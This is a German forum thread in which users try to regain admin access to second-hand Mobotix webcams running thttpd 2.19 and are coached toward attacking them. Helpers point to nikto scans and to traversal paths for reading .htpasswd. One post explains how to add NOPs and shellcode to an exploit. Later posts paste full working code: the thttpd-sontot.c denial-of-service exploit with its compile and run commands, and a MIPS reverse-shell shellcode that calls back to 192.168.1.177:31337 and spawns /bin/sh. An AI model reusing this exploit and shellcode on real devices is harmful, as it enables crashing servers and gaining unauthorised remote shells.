Webcam: HTML .htaccess Password Vergessen

#1
Hallo, freue mich bei euch im forum beigetreten zu sein :)

und jetzt meine erste frage:
ich habe mir eine gebrauchte webcam zugelegt "mobotix m1d" diese webcam hat eine Administrationsseite und diese ist über das Netzwerk erreichbar. das Problem ist jetzt aber das der Vorgänger die Zugangsdaten vergessen "verlegt" hat soo und da sind wir schon beim Problem um die webcam nutzen zu können muss ich aber die Kamera einstellen können das geht nur über die besagte Seite. das erste was ich natürlich gemacht habe wie es im Handbuch steht Aufwerkseinstellung zurückgesetzt aber denkste es wird alles zurück gesetzt nur nicht der nutzer und das pw :-( also habe ich mich an mobotix hin gewendet und gefragt wie teuer es ist das pw raus zunehmen da musste ich mich erstmal setzen der Spaß kostet mich sagenhafte 156? zzgl. MwSt. ?

Lahngerede kurzer sinn ich muss irgendwie das pw rausbekommen denn ich möchte keine 181? dafür ausgeben.

Ich habe mich schon schlau gegooglet und auch schon einiges probiert wie z.b. cgi bugs mehrere login Namen und pws?. Bin jetzt grade dabei mit Brutus einen Brute Force auszuführen aber ob es klappen wird weiß ich nicht

Ich kann im Moment auch nur soviel sagen wie das das System auf einem mini linux System lauft und der Webserver die Version thttpd/2.19-MX ist und der login erfolgt über ein http also eine art von .htaccess oder sogar .htaccess ich weiß es nicht es schaut zumindest so aus.

Ich habe an der webcam einen port scan gemacht:
Die ports sind offen:
111 SUN Remote Procedure Call ??? ka was das ist
80 HTTP Administrationsseite

Hier habe ich auch mal ein screenshot gemacht.




Weiß einer was ich da machen kann??? bitte um Hilfe
mit freundlichen Grüßen
michael
 
#2
Wenn der Zugriff tatsächlich über htaccess gelöst ist, findest du im Web-Verzeichnis eine .htaccess-Datei. Diese enthält Informationen darüber, wo sich die .htpasswd befindet. Die .htpasswd kannst du dann einfach neu erstellen. Voraussetzung ist natürlich, dass du irgendwie direkt auf die Dateien zugreifen kannst (SSH, FTP o.ä.).
 
#3
ftp, ssh hat die webcam nicht und somit habe ich keine möglichkeit an die .htaccess datei zukommen zumindest da drüber und ich muss irgentwie eine schwachstelle finden am webserver oder an der password abfrage um die zu umgehen und dann die daten zu ändern aber ich hab ka wie ich das machen soll und ob es geht
 
#4
Du könntest versuchen eine bekannte Sicherheitslücke auszunutzen. http://packetstormsecurity.org/0010-exploits/thttpd-219.txt Evtl. kommst du damit an die Dateien und kannst sie zumindest auslesen (funktioniert aber nur, wenn SSI genutzt werden). Ausserdem würde ich den Webserver einfach mal mit nikto scannen. Der weiss eigentlich für eine ganze Menge Webserver was die an Sicherheitslücken haben und wirft diese dann aus.
Und mit einem Portscanner solltest du mal nachschauen, was dort an Services läuft. Evtl. findet sich ja ein anderer Service, den man zum Auslesen von Dateien nutzen kann.
 
#5
danke für deine hilfe habe einen scan gemacht es leuft auf der webcam port "111 SUN Remote Procedure Call ?????" und port 80 für webserver mehr habe ich nicht gefunden so ich habe das mal mit dem ssi getestet das klappt nicht und habe das nikto mal laufen lassen habe jetzt ein log bekommen aber kann damit nichts anfangen vieleicht kannst du mir ja weiterhelfen danke .

hier das bild vom log
 
#6
Die Meldung nach dem Outdated sieht doch sehr vielversprechend aus. Nun heisst es ausprobieren um rauszubekommen wo die htaccess-Daten liegen. Dürfte etwas Zeit in Anspruch nehmen, aber andere Möglichkeiten scheint es nicht zu geben.
Also erstmal rausbekommen wo das DocumentRoot ist (z.B. mal schauen wo es bei einer Default-Installation von thttpd liegen würde) oder mal beim Hersteller anfragen wie der absolute Pfad zum DocumentRoot auf diesem Gerät ist und/oder in welchen htaccess-Dateien die Login-Infos liegen. Dann kannst du diese Dateien mit http://ip//pfad/zu/den/dateien evtl. auslesen und somit an den verschlüsselten Passwortstring kommen, den du dann entschlüsseln kannst. Ich glaube nämlich kaum, dass die eine sonderlich starke Verschlüsselung damals genutzt haben. Der thttpd 2.19 ist ja schon um einiges alt (Zeit von SuSE 6.x wenn mich nicht alles irrt). Eine Entschlüsselung sollte daher in wenigen Tagen, maximal Wochen, möglich sein.
 
#7
Bist du sicher dass beim Rücksetzen User + PW gleich bleiben?
Ich kann mir das fast nicht vorstellen... Könnte ja sein dass die Daten einfach geändert wurden, und dus nicht gemerkt hast.

Evtl wird da eine komisch kombinatin gsetzt admin:1234 administrator:12345678 usw.
(allerdings sollte bruteforce da schon draufgekommen sein...)
 
#8
Laut handbuch :


Während des Startvorgangs werden alle Parameter der Werkseinstellungen übernommen,
nicht jedoch die Passwörter. Dies bedeutet, dass Sie die Passwörter
kennen und eintragen müssen, bevor sie wieder auf die Kamera zugreifen können.
 
#9
Hallo an alle!

aus gegebenen Anlass möchte ich gerne diesen Thread wiederbeleben. Ich habe eine Mobotix M1M geschenkt bekommen (natürlich Admin-Passwort vergessen).

Jetzt versuche ich den obigen Ansatz durchzuziehen:
Ausnützen von Exploits von thttpd 1.19 und Zugang zum Filesystem der Cam. Insbesondere Zugang zu .htpasswd.

Darf ich um Unterstützung bitten?
 
#10
Schau einfach mal auf packetstormsecurity.org oder exploit-db.com ob du dort ein passendes Exploit findest.
 
#11
Danke für die rasche Antwort. Ich schaue mir die beiden Seiten gleich an. Nur befürchte ich, dass dies ohne anleitung nicht reichen wird :-( (bin halt noch ein beginner).

Mein Ziel:
Ich möchte gerne die passwd - oder die htaccess - Datei von thhtpd mir anzeigen lassen. Dann könnte ich das Admin-Pw entschlüsseln. Nur wie???
 
#12
Es gibt theoretisch mehrere Möglichkeiten. Laut Anleitung hat das Teil einen Dialin-Server an Bord. Wenn dieser aktiviert ist, könntest du den ISDN-Adapter eines Computers via einer ISDN-Anlage mit der ISDN-Schnittstelle der Cam verbinden, die Cam "anrufen" und darüber eine serielle Verbindung herstellen. Du müsstest nur rausbekommen auf welche Telefonnummer der Dialin-Server reagiert. Vielleicht kann man die Cam auch einfach an eine ISDN-Anlage anklemmen und sie ermittelt sich selbstständig eine freie Nummer in der Range der Anlage. Dann müsstest du nur via Modem, ISDN-Adapter o.ä. die Nummer anrufen, die die ISDN-Anlage der Cam zugeordnet hat.
Ausserdem hat das Ding eine RS-232-Schnittstelle, also eine serielle Schnittstelle. Da diese ziemlich sicher hardwareseitig implementiert ist, kannst du versuchen rauszubekommen auf welche PINs die geschaltet ist und dir einen Adapter basteln, mit dem du eine serielle Verbindung zwischen einem PC und der Cam aufbauen kannst.
Oder du schaust halt mal, welche Einfallstore sich finden lassen. Die bei Packetstormsecurity verfügbaren Exploits haben normalerweise auch kurze Anleitungen dabei (oft im Header des Exploit-Quelltextes), in der erklärt wird, wie das entsprechende Exploit anzuwenden ist. Dabei solltest du dich aber nicht unbedingt nur auf den Webserver versteifen. Laut Anleitung hat die Cam auch einen Fileserver dabei, der eventuell auch ein Einfallstor sein kann. Mach also erstmal einen Portscan auf die Cam und schaue, welche Ports dir als offen angezeigt werden. Dann auch mal einen Vulnerability-Scanner nehmen und schauen ob der eventuell was passendes findet.
 
#13
Mach also erstmal einen Portscan auf die Cam und schaue, welche Ports dir als offen angezeigt werden. Dann auch mal einen Vulnerability-Scanner nehmen und schauen ob der eventuell was passendes findet.
Danke für die Hilfe. Ich habe einen Portscan und Nikto verwendet:



Die Exloit-Meldungen von Nikto sind ja vielversprechend (z.B: reading systemfiles //..). Nur wie funktioniert dann das Auslesen konkret (insbesondere von htpasswd)?
 
#14
Üblicherweise heisst die htpasswd-Datei bei thttpd '.htpasswd' und befindet sich im DocumentRoot des Webservers. Dort ist sie aber zumeist nicht auslesbar. Wenn du Glück hast, verwendet die Cam aber den Default-DocRoot-Pfad von thttpd, der /usr/www ist. Du kannst also eventuell mittels '//usr/www/.htpasswd' als URL-Pfad an die Datei kommen.
Ansonsten solltest du mal nach einem Exploit für die Buffer-Overflow-Lücke suchen oder eines erstellen und damit eine Remote-Shell auf einen Port binden.
 
#15
Üblicherweise heisst die htpasswd-Datei bei thttpd '.htpasswd' und befindet sich im DocumentRoot des Webservers. Dort ist sie aber zumeist nicht auslesbar. Wenn du Glück hast, verwendet die Cam aber den Default-DocRoot-Pfad von thttpd, der /usr/www ist.
Da habe ich leider kein Glück -> Fehler 400 Bad request :-(

Ansonsten solltest du mal nach einem Exploit für die Buffer-Overflow-Lücke suchen oder eines erstellen und damit eine Remote-Shell auf einen Port binden.
Das klingt erfolgversprechend; leider fühle ich mich ohne Anleitung dabei überfordert (bin aber lernfähig und -willig); bitte um Tipps.
 
#16
Such dir ein Exploit, von dem du denkst, dass es passend dürfte. Seiten dafür hab ich dir bereits genannt. Dann schaue dir im Quelltext des Exploits den oberen Teil an. Dort steht normalerweise wie man es kompiliert und anwendet.
 
#17
Ich habe nun eines (von drei) "Buffer overflow" ausgesucht - siehe unten. Nur - wie verwendet man dies, um eine neue Shell einzubinden?

Code:
source: http://www.securityfocus.com/bid/8906/info
 
A vulnerability has been reported in thttpd that may allow a remote attacker to execute arbitrary code on vulnerable host. The issue is reported to exist due to a lack of bounds checking by software, leading to a buffer overflow condition. The problem is reported to exist in the defang() function in libhttpd.c.
 
This issue may allow an attacker to gain unauthorized access to a vulnerable host. Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.
 
thttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well. 
 
static void
defang( char* str, char* dfstr, int dfsize )
    {
    char* cp1;
    char* cp2;
 
    for ( cp1 = str, cp2 = dfstr;
   *cp1 != '\0' && cp2 - dfstr < dfsize - 1;
   ++cp1, ++cp2 )
 {
 switch ( *cp1 )
     {
     case '<':
     *cp2++ = '&';
     *cp2++ = 'l';
     *cp2++ = 't';
     *cp2 = ';';
     break;
     case '>':
     *cp2++ = '&';
     *cp2++ = 'g';
     *cp2++ = 't';
     *cp2 = ';';
     break;
     default:
     *cp2 = *cp1;
     break;
     }
 }
    *cp2 = '\0';
    }
 
#18
Was du gepostet hast, ist nicht das zugehörige Exploit sondern die Funktion, in der der Fehler ist. Mir fehlt leider aktuell sowohl die Zeit als auch die Test-Möglichkeit um dir dafür ein Exploit anzubieten. Aber du könntest es ja mal mit https://www.exploit-db.com/exploits/23306/ versuchen. Code in der Datei 'thttpd-sontot.c' speichern, auf einem Linux-System mit 'gcc -o thttpd-sontot thttpd-sontot.c' kompilieren und dann mit './thttpd-sontot <router-ip> 80' ausführen. Damit du damit eine Portbinding-Shell einschleust, solltest du einfach in die Variable 'buffer' ein paar NOPs (0x90) reinfüllen und den Buffer dann mit einem passenden Shellcode abschliessen. Grundlagen zum Erstellen von Shellcodes kannst du entweder unter Shellcode (Exploit) lernen oder du suchst dir in den Weiten des WWW einen fertigen Shellcode, der deinen Anforderungen entspricht. Vielleicht findest du aber auch irgendwo ein Exploit, das bereits mit einem Shellcode ausgestattet ist.
 
#19
Aber du könntest es ja mal mit https://www.exploit-db.com/exploits/23306/ versuchen. Code in der Datei 'thttpd-sontot.c' speichern, auf einem Linux-System mit 'gcc -o thttpd-sontot thttpd-sontot.c' kompilieren und dann mit './thttpd-sontot <router-ip> 80' ausführen.
Das funktioniert soweit.

Eine mögliche Shell kann wohl auch unter shell-storm | Shellcodes Database gefunden werden.
Z.B. Linux/mips - Reverse Shell Shellcode - 200 bytes by Jacob Holcomb mit
# MIPS Little Endian Reverse Shell ASM File and Assembled Shellcode
# Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators
# Blog: Hak42 InfoSec
# Company Website: Independent Security Evaluators


.data

.bss

.text

.globl _start

_start:

#Close stdin(0)
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424

#Close stdout(1)
slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424

#Close stderr(2)
li $t4, 0xFFFFFFFD #-3
not $a0, $t4
li $v0, 4006
syscall 0x42424

#Socket Domain - AF_INET (2)
li $t4, 0xFFFFFFFD #-3
not $a0, $t4
#Socket Type - SOCK_STREAM (2 for mips)
not $a1, $t4
#Socket Protocol - 0
slti $a2, $zero, 0xFFFF
#Call socket
li $v0, 4183
syscall 0x42424

#Move socket return value (v0) to register a0
#V0 must be below 0xFFFF/65535
andi $a0, $v0, 0xFFFF

#Calling dup three times
#Duplicate FD (stdin)
#Socket returned fd 0 - stdin goes to socket
#-----
#Duplicate FD (stdout)
li $v0, 4041
syscall 0x42424
#Duplicate FD (stderr)
li $v0, 4041
syscall 0x42424

#Connect sockfd
#Socket FD is already in a0
#-----
#Connect sockaddr
lui $a1, 0x6979 #Port:
ori $a1, 0xFF01 #31337
addi $a1, $a1, 0x0101
sw $a1, -8($sp)

li $a1, 0xB101A8C0 #192.168.1.177
sw $a1, -4($sp)
addi $a1, $sp, -8

#Connect addrlen - 16
li $t4, 0xFFFFFFEF #-17
not $a2, $t4
#Call connect
li $v0, 4170
syscall 0x42424

#Putting /bin/sh onto the stack
lui $t0, 0x6962 #Loading Upper Immediate - ib
ori $t0, $t0,0x2f2f #Bitwise OR Immediate - //
sw $t0, -20($sp) #Store word pointer to command string for execution
#
lui $t0, 0x6873 #Loading Upper Immediate - hs
ori $t0, 0x2f6e #Bitwise OR Immediate - /n
sw $t0, -16($sp) #Store word pointer to command string for execution
#
slti $a3, $zero, 0xFFFF #Putting null (0) onto stack
sw $a3, -12($sp)
sw $a3, -4($sp)

#execve *filename
addi $a0, $sp, -20
#execve *argv[]
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8
#
addiu $sp, $sp, -20 #Adjusting stack
#
#execve envp[] - 0
slti $a2, $zero, 0xFFFF
#Call execve
li $v0, 4011
syscall 0x42424



# NOTE: Assembled shellcode

#200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
#Connects on 192.168.1.177:31337
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
Es stellen sich mir dann zwei Fragen:

1.) Wie wird der Shellcode konkret in die thttpd-sontot.c eingefügt und
2.) Wie wird die neue shell dann konkret angesprochen (IP 192.168.1.177, Port 31337)?

Ich habe in den letzten Stunden (Tagen) einiges gelernt. Ich hoffe (und bitte) jetzt noch um Unterstützung beim letzten "Kick"!
 
#20
Nach einer ganzen Nacht und einem halben Tag Internetrecherche und Lernen kann ich folgendes zusammenfassend berichten:

1.) Das Exploit https://www.exploit-db.com/exploits/23306/ funktioniert:
Code:
==========================[ thttpd-sontot.c ]=========================
  
// thttpd-sontot.c remote dos exploit by d3ck4
// Base On Texonet Security Advisory 20030908
// Application    : thttpd
// Version(s)     : 2.21 - 2.23b1
// Platforms      : FreeBSD, SunOS 4, Solaris 2, BSD/OS, Linux, OSF
// Solution       : Upgrade to version 2.24
// Remote exploit not yet ;P~
  
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
 
int main(int argc, char **argv)
{
  struct sockaddr_in addr;
  struct hostent *host;
  char buffer[1000];
  char buffer1[1130];
  int s, i;
  if(argc != 3)
  {
    fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
    exit(0);
  }
  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s == -1)
  {
    perror("socket() failed\n");
    exit(0);
  }
  host = gethostbyname(argv[1]);
  if( host == NULL)
  {
    herror("gethostbyname() failed");
    exit(0);
  }
  addr.sin_addr = *(struct in_addr*)host->h_addr;
  addr.sin_family = AF_INET;
  addr.sin_port = htons(atol(argv[2]));
  
  if(connect(s, &addr, sizeof(addr)) == -1)
  {
    perror("couldn't connect to server\n");
    exit(0);
  }
  
  for(i = 0; i < 1000 ; i++)
    buffer1[i] = '>';
    sprintf(buffer, "GET /%s HTTP/1.0\r\n\r\n\r\n", buffer1);
    printf("\n(Drink Tongkat-Ali For Better Performance ;P~ !)\n\n");
    printf("Buffer is: %s\n\n", buffer1);
    printf("Buffer filled... now sending buffer\n");
    send(s, buffer, strlen(buffer), 0);
  
    printf("Buffer sent.\nNow thttpd daemon should be dead !!!\n\n");
    close(s);
  return 0;
}
  
/* EOF */
 
==========================[ thttpd-sontot.c ]=========================
thttpd-sontot.c kompilieren und ausführen:
Code:
gcc -o thttpd-sontot thttpd-sontot.c
./thttpd-sontot 10.0.x.y 80'
2.) (Wahrscheinlich) Passende shell-Skripte gibt es einige im Netz, z.B. shell-storm | Shellcodes Database.
Exemplarisch nehme ich Linux/mips - Reverse Shell Shellcode - 200 bytes Linux/mips - Reverse Shell Shellcode - 200 bytes.
Der Shellcode besteht aus einem Assembler-Code; konkret:
Code:
#200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
    #Connects on 192.168.1.177:31337
    stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
    stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
    stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
    stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
    stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
    stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
    stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
    stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
    stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
    stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

2.) Jetzt bin ich beim Problem, wie der Shellcode mit dem Exploit zu verbinden ist und dann auf 10.0.x.y. geladen werden kann.

Im Netz gibt es mehrer Anleitungen mit netcat oder send...

Leider schaffe ich diesen Schritt nicht allein und bitte um Hilfe!
 
Oben